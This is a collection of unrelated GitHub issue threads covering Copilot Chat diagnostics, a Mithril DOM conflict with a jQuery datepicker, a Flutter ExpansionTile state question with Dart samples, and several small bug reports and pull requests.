## Environment

- http_proxy: n/a
- https_proxy: n/a
- no_proxy: n/a
- SSL_CERT_FILE: n/a
- SSL_CERT_DIR: n/a
- OPENSSL_CONF: n/a

## Feature Flags

- Send Restricted Telemetry: disabled
- Chat: enabled

## Node setup

- Number of root certificates: 141
- Operating system: Darwin
- Operating system version: 22.6.0
- Operating system architecture: arm64
- NODE_OPTIONS: n/a
- NODE_EXTRA_CA_CERTS: n/a
- NODE_TLS_REJECT_UNAUTHORIZED: n/a
- tls default min version: TLSv1.2
- tls default max version: TLSv1.3

## Network Configuration

- Proxy host: n/a
- Proxy port: n/a
- Kerberos SPN: n/a
- Reject unauthorized: disabled
- Fetcher: HelixFetcher

## Reachability

- github.com: HTTP 200
- api.github.com: HTTP 200
- copilot-proxy.githubusercontent.com: HTTP 200
- api.githubcopilot.com: HTTP 200
- default.exp-tas.com: HTTP 200

## VS Code Configuration

- HTTP proxy:
- HTTP proxy authentication: n/a
- Proxy Strict SSL: true
- Extension HTTP proxy support: override

## Extensions

- Is `win-ca` installed?: false
- Is `mac-ca` installed?: false

## Authentication

- GitHub username: cameracode

@cameracode There are two similarly named commands. Please run the GitHub Copilot: Collect Diagnostics one too.

## Copilot

- Version: 1.216.0
- Build: prod
- Editor: vscode/1.91.1

## Environment

- http_proxy: n/a
- https_proxy: n/a
- no_proxy: n/a
- SSL_CERT_FILE: n/a
- SSL_CERT_DIR: n/a
- OPENSSL_CONF: n/a

## Feature Flags

- Send Restricted Telemetry: disabled
- Chat: enabled

## Node setup

- Number of root certificates: 141
- Operating system: Darwin
- Operating system version: 22.6.0
- Operating system architecture: arm64
- NODE_OPTIONS: n/a
- NODE_EXTRA_CA_CERTS: n/a
- NODE_TLS_REJECT_UNAUTHORIZED: n/a
- tls default min version: TLSv1.2
- tls default max version: TLSv1.3

## Network Configuration

- Proxy host: n/a
- Proxy port: n/a
- Kerberos SPN: n/a
- Reject unauthorized: disabled
- Fetcher: HelixFetcher

## Reachability

- github.com: HTTP 200
- api.github.com: HTTP 200
- copilot-proxy.githubusercontent.com: HTTP 200
- api.githubcopilot.com: HTTP 200
- default.exp-tas.com: HTTP 200

## VS Code Configuration

- HTTP proxy:
- HTTP proxy authentication: n/a
- Proxy Strict SSL: true
- Extension HTTP proxy support: override

## Extensions

- Is `win-ca` installed?: false
- Is `mac-ca` installed?: false

## Authentication

- GitHub username: cameracode

Im a noob, i somehow forgot to install the GitHub Copilot Chat extension, had GitHub Copilot, but no chat. Thanks for the patience lol

@nbkhoi Did this start working for you? If not please run F1 > Developer: GitHub Copilot Chat Diagnostics and share the output here.


[Feature] Create cells transform widget

Create a widget to transform cells from raw data space to atlas space, allowing analysis of cell position based on atlas. This will allow brainreg & cellfinder to be combined and allow most of brainmapper's functionality to be replicated in napari.
Part of https://github.com/brainglobe/BrainGlobe/issues/10

Once this is in place, it should enable the end of the BiaPy tutorial


Remove AV1 from media updates post

This removes AV1 from the Audio/Video Updates in Chrome 69 post as this was pushed back to Chrome. 70

:+1:


Doesn't understand drop table if exists

Issue Type: Bug
The editor doesn't understand the DROP TABLE IF EXISTS command. It gives the red error marks under the command but when submitted to SQL Server it runs without an issue.
To reproduce:
just time DROP TABLE IF EXISTS
Azure Data Studio version: azuredatastudio 1.24.0 (eb3c0f5d9df86b9490606aab7fffaa253b0aca4d, 2020-11-10T23:38:09.705Z)
OS version: Windows_NT x64 10.0.17763

System Info

Item
Value

CPUs
Intel(R) Xeon(R) Platinum 8272CL CPU @ 2.60GHz (4 x 2594)

GPU Status
2d_canvas: unavailable_softwareflash_3d: disabled_softwareflash_stage3d: disabled_softwareflash_stage3d_baseline: disabled_softwaregpu_compositing: disabled_softwaremultiple_raster_threads: enabled_onoop_rasterization: disabled_offopengl: disabled_offprotected_video_decode: disabled_offrasterization: disabled_softwareskia_renderer: disabled_off_okvideo_decode: disabled_softwarevulkan: disabled_offwebgl: unavailable_softwarewebgl2: unavailable_software

Load (avg)
undefined

Memory (System)
28.00GB (21.54GB free)

Process Argv

Screen Reader
no

VM
0%

Extensions (6)

Extension
Author (truncated)
Version

admin-pack
Mic
0.0.2

agent
Mic
0.48.0

dacpac
Mic
1.6.0

import
Mic
1.1.0

profiler
Mic
0.11.0

schema-compare
Mic
1.6.0

This should be fixed in the next release of ADS - if you are able to verify this on the latest version of our insiders builds that would be great!
https://github.com/microsoft/azuredatastudio#try-out-the-latest-insiders-build-from-main

Just downloaded and check it. Looks good. Thanks for the improvement.


Publish the project to Azure is missing one step

Hi 2nd step under Publish the project to Azure is missing the step to select a folder

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 04c9d43d-5bd2-87c6-2ccf-0c65ef193760
Version Independent ID: 6bf46ebc-481f-e4ef-b269-99bf99434601
Content: Create your first function in Azure using Visual Studio Code
Content Source: articles/azure-functions/functions-create-first-function-vs-code.md
Service: azure-functions
GitHub Login: @ggailey777
Microsoft Alias: glenga

@ihorbond Thanks for the question! We will review and get back to you!

@ihorbond Thanks for catching that! Note that the prompt is only made when a valid function app is not open already. Also, if you have a workspace open, you will see the prompt then as well.
We have worked up a PR to include this information in the docs, which once merged should reflect in a couple of hours.


GO code mapping in ECO

Currently, gaf-eco-mapping.txt contains all 1:1 mappings for the GO codes (and GO ref, if applicable). #111 requested a mapping file that contained the top level mappings plus their children, and as per #116 will live in gaf-eco-mapping-derived.txt
In ECO, the term mapped to a GO code has the annotation 'database_cross_reference'. (i.e. 'genetic interaction evidence used in manual assertion' database_cross_reference GOECO:IGI). The children are not flagged with this mapping.
This ticket is to track progress on a new, inheritable property to flag the ECO evidence classes with their correct GO codes and potentially creation of logical definitions for those using GO refs.

The derived mapping file is created fine from the query - closing this in favor of keeping the current implementation.


Mithril is nuking away jQuery calendar

jQuery inserts a calendar at the top level of the page (last child of body tag) to show and bring to focus above everything else for picking dates. Mithril doesn't know about this calendar. Sometimes when an element is added to the end of the page via mithril, this calendar will get killed and jQuery will go into a buggy state where the popup calendars stop working completely.
I right clicked the calendar, break on -> node removal and it came to this line of code when the bug happened:
https://github.com/lhorie/mithril.js/blob/next/mithril.js#L194

Okay, so we found a workaround for this.
To make sure mithril never pushes and pops from the same scope that the calendar is inserted (body) we wrapped the whole page inside a useless div which fixed the bug.

I wouldn't call it bodge-patch. It's expected behavior that Mithril clears out the entire contents of the element you assign it to.

The calendar is added in config. It's expected that 3rd party integration will work, especially with jQuery.

@kvanberendonck can you put up a jsFiddle? The suggested usage of config to house 3rd party DOM plugins is to create a Mithril DOM node specifically for that plugin and use config's el argument to manipulate the DOM inside that node. What you're talking about should be trivial using this method. Manipulating that node's  parents or siblings is effectively 3rd party code touching nodes that belong to Mithril, which should be expected to break.

Looks like I didn't mention it, but we're using config here in combination with isInitialised too.

This is not a bug, even more so if jQ is doing it outside of Mithril's scope. Also, rendering into a container div is an established practice be it Mithril or React, since by rendering into body you're breaking your user's browser extentions which also tend to append stuff to body.

The way you just put it, it still sounds like a bug to me.
On 3 Mar 2015 04:18, "Igor Kharin"<EMAIL_ADDRESS>wrote:

This is not a bug, even more so if jQ is doing it outside of Mithril's
scope. Also, rendering into a container div is an established practice be
it Mithril or React, since by rendering into body you're breaking your
user's browser extentions which also tend to append stuff to body.
—
Reply to this email directly or view it on GitHub
https://github.com/lhorie/mithril.js/issues/463#issuecomment-76754961.

But you know how you've broken it and how to fix it, right?

I'll be honest, my team would have never figured it out. I literally had to debug the guts of mithril to know what was going on, and I wasted a good day or two doing so.
It's also seemingly random and manifests itself in strange places, sometimes and sometimes not. It's also not documented anywhere.

You said it yourself: you were using config to manipulate DOM structure
outside the config scope. That's somewhat obviously 'out of scope' by your
own admission. The documentation says "This special parameter allows you to
call methods on the DOM element after it gets created." You say "my team
would have never figured it out", but you did, 45 minutes after your
original post.
Is it a case of the documentation not being clear enough? It might be worth
adding something to the effect of "A config function and it's arguments
are specifically associated with the DOM elements they are bound to. If you
want access to DOM elements in an external scope, use those elements'
config attributes."
On Tuesday, 3 March 2015, Kyle Van Berendonck<EMAIL_ADDRESS>wrote:

I'll be honest, my team would have never figured it out. I literally had
to debug the guts of mithril to know what was going on, and I wasted a good
day or two doing so.
It's also seemingly random and manifests itself in strange places,
sometimes and sometimes not. It's also not documented anywhere.
—
Reply to this email directly or view it on GitHub
https://github.com/lhorie/mithril.js/issues/463#issuecomment-76913676.

You can tailor it like it sounds I was doing something outrageous, but we know that this breaks core functionality of jQuery -- one of the worlds most largely used javascript libraries -- and as already mentioned browser plugins, etc.

It's not outrageous, it's just misusing the function. When you use it according to the documentation, it works. Or doesn't it?

You classify this then as misusing config:
var myconfig = function(dom) {
    $(dom).datepicker();
}

Or, this also, as it will implicitly insert resize handles one level above the element:
var myconfig = function(dom) {
    $(dom).resizeable();
}

Yes, that's outrageous and completely intuitive.

The misuse I was referring to was using config to manipulate elements outside of scope. Are you saying you're still suffering from unexpected behaviour when using it as above? I've knocked up a fiddle to try and find bugs with the plugins you mention but I couldn't find any. Could you fork it to reproduce them, perhaps?

To reproduce it, the app actually has to move quite dynamically and cause mithril to touch a lot of DOM. In an application of several hundred dynamic data entry screens with rows and fields that appear and disappear, it was only reproducible in one or two places.
I made a bogus one with lots of dynamic redraws on it and all types of random broken crap to see if I could reproduce it in a fiddle, but I can't ( http://jsfiddle.net/43r7jtj6/ ).

@kvanberendonck I feel like this should be fixable, since Mithril keeps a record of managed DOM elements in the cached tree and it should be able to tell that a DOM element is not managed internally. Were you using <body> as a rendering target (i.e. m.route(document.body, ...) or generating it with m("body")?

m.route(document.body, ...) is how mithril is configured.
If I undo the patch which fixes the issue and dump out mithrils guts with the debugger maybe it will give an idea of how to build a test case.

Ok, thanks. I'll look into it

Here's a simplified example of a similar issue I ran into and how I solved it. Mithril creates a header, body and footer, and another library adds a sub-component to the body. Mithril uses routes to change the header and footer when the user clicks the link in the footer.
Once it's created, the sub-component should not be re-rendered, and any event emitters and listeners need to continue working, even if the route changes. My example works -- the time doesn't change and clicking the input box brings up an alert -- but I don't know whether this is a good way to do this.

@ariutta that's a really interesting and legitimate case in point — ironically I think the compoments branch would have solved this issue until a recent fix in response to a user complaining that reinstating the same component on route change was unexpected behaviour.

minimal reproducible test case: http://jsfiddle.net/yhLwmqfx/

Fixed in origin/next. This will be release in v0.1.31 (or 0.2 if there's a version bump)

Thanks Leo! Nice find!


Adding ExpansionTile with property initiallyExpanded set to true causes odd behaviour when scrolling

Developing on Mac OS Catalina 10.15.7
Flutter 1.26.0-1.0.pre • channel dev • https://github.com/flutter/flutter.git
Framework • revision 63062a6443 (10 days ago) • 2020-12-13 23:19:13 +0800
Engine • revision 4797b06652
Tools • Dart 2.12.0 (build 2.12.0-141.0.dev)
I have a structure where there is an ExpansionTile inside of a ListView
When initiallyExpanded value is not set the state of the ExpansionTile seems to be preserved after scrolling: where as when the value is set to true, collapsing the tile and scrolling down then up again to the tile results in it being rendered open.
initiallyExpanded default value
https://user-images.githubusercontent.com/1329727/103033715-01d4dd00-455b-11eb-8080-40b3797d84c7.mov
initiallyExpanded set to true
https://user-images.githubusercontent.com/1329727/103033794-3d6fa700-455b-11eb-8098-42299e45d6ba.mov

@billy1380
the behavior you are describing is expected when using a ListView.builder
as the widget does not keep the state when not rendered,
a solution to keep the state of the ExpansionTile is to use AutomaticKeepAliveClientMixin
please see the example below
import 'package:flutter/material.dart';

void main() {
  runApp(
    MaterialApp(
      home: Material(
        child: ListView.builder(
          itemBuilder: (BuildContext context, int index) => MyTile(index),
        ),
      ),
    ),
  );
}

class MyTile extends StatefulWidget {
  MyTile(this.index) : super(key: ValueKey('tile $index'));
  final int index;
  @override
  _MyTile createState() => _MyTile();
}

class _MyTile extends State<MyTile> with AutomaticKeepAliveClientMixin {
  @override
  Widget build(BuildContext context) {
    super.build(context);
    return ExpansionTile(title: Text('${widget.index}'));
  }

  @override
  bool get wantKeepAlive => true;
}

if this isn't representative of the situation please provide a minimal reproducible code sample

Thanks @iapicca for the quick response... I can understand that the "recycled view" does not keep the state but my query was related to why the state is maintained when a value is not set but it is not when a value is set.
Check out the first video... I open the properties panel... and if the state is lost on scrolling back up to it, it should have lost the state and be painted closed. But instead it has retained the open state.
I tried that multiple times. When the initial value is true, the state is lost if it is default the state is retained.

@billy1380
can you provide a minimal code sample that represent the issue you are describing

@iapicca here is a minimum code sample, but I cannot recreate the issue with the sample... it must be something else that is the issue... I will close it... thanks again
void main() {
  runApp(
    MaterialApp(
      home: Scaffold(
        appBar: AppBar(
          title: Text("Expanded state test"),
        ),
        body: ListView.builder(
          itemCount: 100,
          itemBuilder: (context, index) {
            return ExpansionTile(
              title: Text("Expanded$index"),
              children: [
                ...[1, 2, 3, 4, 5, 6, 7, 8].map((e) => Padding(
                      padding: EdgeInsets.all(8),
                      child: Text("$index child $e"),
                    ))
              ],
            );
          },
        ),
      ),
    ),
  );
}


Ensure proper formatting in changelog

Diff:

Thanks! Merged as 6377798. And wow, Markdown is a mess.


refactor to avoid DRY

apply https://en.wikipedia.org/wiki/Don't_repeat_yourself to wikirender by properly refactoring it

getLookup of LOD should be used instead of pagesListtoDict - while at it you might want to rename the function to pagesListToDict


fix: order aircraft list alphabetically

https://github.com/invernyx/smartcars-3-bugs/issues/370

@GenericNerd This PR looks good. Merge when ready.

@Thien42 @BossOfGames Feel free to merge and send out a release with this and #14 :)